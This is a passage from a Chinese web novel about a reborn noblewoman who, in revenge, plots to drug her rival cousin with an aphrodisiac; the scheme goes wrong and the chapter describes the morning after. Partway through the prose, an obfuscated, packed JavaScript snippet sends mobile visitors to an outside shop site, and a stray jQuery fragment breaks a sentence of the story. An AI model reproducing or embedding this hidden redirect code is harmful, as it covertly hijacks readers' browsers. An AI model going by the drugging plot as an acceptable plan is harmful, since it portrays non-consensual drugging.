八世轮回,世世死得悲壮凄惨,她劝服自己,收敛起一身反骨,以计谋之。杀人诛心,暂时杀不了,就先敲碎他的傲骨,摘去白玉无瑕的美名。
跌入泥沼里的天道之子,哪里还斗得过她?
——庄园避暑的第一夜,毁掉纪危舟的清白。
按照之前的轨迹,入庄园的第一夜,纪危舟会醉倒在思凉阁里,直到次日午间,打扫的杂役才会发现他,惹来众人一通取笑。
崔时清命人在纪危舟的酒中,加入三倍动情药,安排好一位寡居妇人候在思凉阁里,只待他自投罗网。
开始惜命的崔时清,可太喜欢这个阴毒的法子。
她耐着性子,熬了半夜,等到纪危舟踉跄地离开水榭高台。
一切都没有改变。
奶娘柳氏提前回了丹青院,留下两名婢女和小厮玉松。玉松被她派去尾随纪危舟,不让他偏离计划,碰了不该碰的人。而婢女们也回了院子,准备披风之物。
婢女迟迟未归,崔时清估摸着时辰,独自离席归去。
经过假山时,她看到了一个熟悉的背影。这个异样,是从没有过的,崔时清思量片刻,决定上前探查。
而后,计划以她不曾想过的方式,达成了预期。
可这又有什么用呢?
崔时清眼眶泛红,死死盯着纪危舟。
狗东西!真是邪了门了!
纪危舟仿佛没有看见崔时清眼中的恨意,珍而重之地扶着她的肩头,柔声道:“我们成婚,我会待你好的。”
崔时清歪着头,有些失神。
自他们初见时,纪危舟便看不惯她的娇奢,没有来她面前讨烦,啰嗦几句废话,都还算好的。何曾有过,这样温和甜嘴的时候?
即便她一贯都觉得,纪危舟温声含笑的模样,假惺惺的,让人不适。可她到底也没享受过这份待遇,这会儿难免感到新奇。
崔时清神情古怪地拢了拢身上的丝锦,黑漆漆的眸子在纪危舟的身上游移着。
这人,是生得不错,一身皮肉看着、也还行。兴许是在外游学两年,吃了苦头,并不似一般读书人那样瘦弱。宽肩窄腰,冷白的皮肤下,覆着一层薄薄的肌肉。
紧实,还硌牙。
崔时清莫名感到牙口一阵酸麻,脑子空了一瞬,又忽然瞪圆了桃花眼。
“成婚?我怎能嫁与你?”
并非崔时清自视甚高。
以世家之首崔氏嫡女的身份,连皇室子孙都上不得她的佳婿名录,遑论一介庶子?
更何况,纪危舟与她非亲非故,并不是国公府的血脉。
第七世,逼杀许姨娘的婢女时,从其口中得知。她的庶表兄,生下便是死胎,本该好生安葬,却被前院的嬷嬷抱走。过了两日,送还一名男婴,只道是被游医道长救下的。但许姨娘却知道,纪危舟绝非她的亲子。
崔时清派人暗中探查,始终没能查明纪危舟的身世。
这些,她也不在意。
崔时清在意的是,一个倚仗着国公府庶子的身份、血脉不明的人,怎好以表兄身份开罪于她?
而如今,仅仅与她有了一夜荒唐,竟然妄想与她成婚?!
谁给他的脸?就凭偏心眼的天老爷吗?
桃花眼中的嘲弄,不加掩饰。
纪危舟早已习惯,这个直白又轻蔑的眼神。舌尖抵了抵上颚,压下唇角的笑,眸光清明地望着她。
“……软软又为何,不能嫁我?”
为何?还用说吗?
……欸,软、软软?!
崔时清又羞又怒,瞪着双眼,气得呼吸不畅,一脸被人冒犯地指着纪危舟。
“谁允许你这样唤我?”
话落,崔时清一蹬脚,欲把纪危舟踢开,却忘了身体的疲软,还没把心头的怒火发泄出来,身形踉跄,歪倒在了竹榻上。
纪危舟稳坐不动,握着腰腹上的玲珑玉足,许是太过气愤,小巧的脚趾尖还泛着惹眼的红粉。
丝锦散开,露出大片白嫩,星星点点的红痕指印遍布。
黑眸如墨,沉得看不见底。
“……嗯?”崔时清面露错愕,一时不知自己是怎么躺下的。
迷茫懵然的眸子,不由流露出稚幼软糯,衬着一双凌厉娇媚的桃花眼又纯又欲,可欺得紧。
纪危舟深深看了一眼,唇线微敛,垂下了长睫。被踢蹭过的皮肤却愈发的热烫,拢着脚踝的大掌稍稍收紧,指腹若有似无地摩挲着。
他向来知道,眼前的女娘子在恶毒的心肠外,有一副极好的皮囊。却不知,会让人如此心醉。
纪危舟犹疑一瞬,很快释然。欺身上前,把香软拥入怀中,低声诱哄着,一派温善纵容的模样。
“吓着了?勿怕,上过药,便不难受了。”
上药?上、药……
崔时清仰起头来,恨得牙痒痒,面颊上的热意上下乱窜着,连脖子都红透了。
“你、你真不是人!你这、你就是狗东西!”
“嗯,都是我的错,好软软,别气了。”纪危舟抚摸着掌下的纤腰薄背,连声安抚。
“好啊,不生气。”
崔时清微微挑起唇角,梨涡浅笑,眉眼无害地扬手挥掌。
‘啪’的清脆一声,纪危舟的脸上多了一个掌印,指甲划过的抓痕渗出血珠。
崔时清的绝技之一,快准狠的巴掌大法。
瞅着自己的作品,她弯了弯眉眼,由衷地笑出声来。
“……你倒是乖了,也不躲。”
听着轻狂又恣意的笑声,纪危舟安静地望着崔时清。
奇怪得很,整整九世,仅有这么一位鲜活的人。世世撞得头破血流,偏就不肯服输,自在又随心地活着、死去。
既可怜,又让他忍不住地艳羡。
收紧手臂,环抱着崔时清,他低下头来,额头相抵。
“说好,不能生气了。”
“嗯。”崔时清正高兴着,也就好脾气地应下。但她还是不喜欢和九世死敌这般亲近,指尖戳了戳他,轻嗤道:“走开,黏糊糊的,怪烦人。”
纪危舟浑不在意,仍旧搂抱着细腰,目光柔和地低语,“衣物送来了,我为你梳洗穿衣?”
崔时清犹豫了一下,仰头看着纪危舟的狭长眉眼,不知从何而来的不自在胜过了差使仇人的快意,她咬了咬唇,冷哼着。
“谁要你了?滚开,让我阿姆进来。”
纪危舟默然片刻,俯下身,拨了拨崔时清散落在肩头的乌发,“你身子不适,先回丹青院歇息,我会与长辈们请罪。”
想起昨夜的荒唐,崔时清有些头疼,思忖着,压低了声量。
“你在长辈跟前认了错,多磕几个头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355189|140692||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,此事翻篇就是,不可攀扯我。”崔时清说完,又有些不放心,拽着纪危舟的发尾,小声威胁,“成婚是不可能的,这话不许再提,知道不?”
扣着纤白的腕子,纪危舟注视着崔时清,“你我已有夫妻之实,理应成婚。”
崔时清没忍住,翻了一个白眼,直言道:“崔氏之女,如何与你相配?”
不般配吗?
纪危舟记起了一人。
苏珏,文士大儒苏太傅的长孙,出生清流世家,与崔氏倒是门当户对。
因苏珏之父病逝,三年孝期之故,不曾谈婚论嫁。
上一世,三年之期一过,镇守西北南陵城的崔其沂便携妻子入京,筹备起崔时清的婚事。
想来,苏珏一直都是崔其沂认可的贤婿人选。
或许,两家已有口头婚约。
崔时清,是在等苏珏吗?
想起前世,一直追随着他的目光,他唇角微微上挑,托起明艳的小脸,轻轻抚摸着,“软软,你信天命吗?这世间万万,或许只有你我,才能相守。”
九世相随,生生世世的纠缠。
孽缘,亦是缘。
哪里,还容得下其他人?
崔时清心念微动,怔怔然地瞅着纪危舟,随即而来的,是恐惧。
“……你、你是,什么意思?”
他,在暗示什么?
崔时清的指尖扣弄着掌下丝锦,神经兮兮地看着纪危舟,似是要看清这层皮肉之下,是否藏匿了什么可怖的怪物。
纪危舟轻叹了一声,抚摸着崔时清的乌发,无奈又宠溺地轻语着。
“昨夜虽是酒后荒唐,但你我身心契合,人世间庸庸扰扰数十年,我们合该一起过的。”
说的是这茬子事儿?
崔时清端详着纪危舟的面容,见他神色如常,微蹙的眉心稍稍舒展片刻,又拧了拧。
“说的什么混账话,哪有为着那事,与人成婚的。”崔时清没好气地说完,又忍不住斜了纪危舟一眼。
虽说这狗东西生得漂亮,又会讨女子欢心,但毫不乖顺啊。
哪怕她真要寻欢作乐,也要找个乖巧懂事的,哪里轮得着纪危舟这厮了?
如此想着,崔时清感受到身子的疲软,忍不住出言嘲讽,“就你这样又老又啰嗦的,还是趁早打消了以色事人的念头,本县主可看不上你。”
纪危舟轻叹了一声,“我仅年长软软五岁,不老的。”
“走开,喊我阿姆进来。”崔时清不想纠缠这些,语气不善地赶人。
“晚些时候,我再来看你。”纪危舟笑道。
崔时清没好气地瞪着纪危舟,推了推他,“别来,不想看到你。”
纪危舟摸了摸她的头,起身穿衣,召来远处静候的三人。
奶娘柳氏面色难看地瞥了一眼纪危舟,快步入内,扶起崔时清,看到她浑身青紫红痕,心疼得不得了。
“这可怎么了得?”
哪有这般磋磨女娘子的?
浑身的牙印,莫不是要吃人了!
“……阿姆,我想回丹青院。”刚才还撑着的一口气,现下全散尽了,崔时清神色疲乏地靠在柳氏身上。
钱嬷嬷和尤嬷嬷连忙上前,帮着收拾妥当,围上披风,带上兜帽,遮得严严实实。背着崔时清出门,由着一顶软轿抬回了丹青院。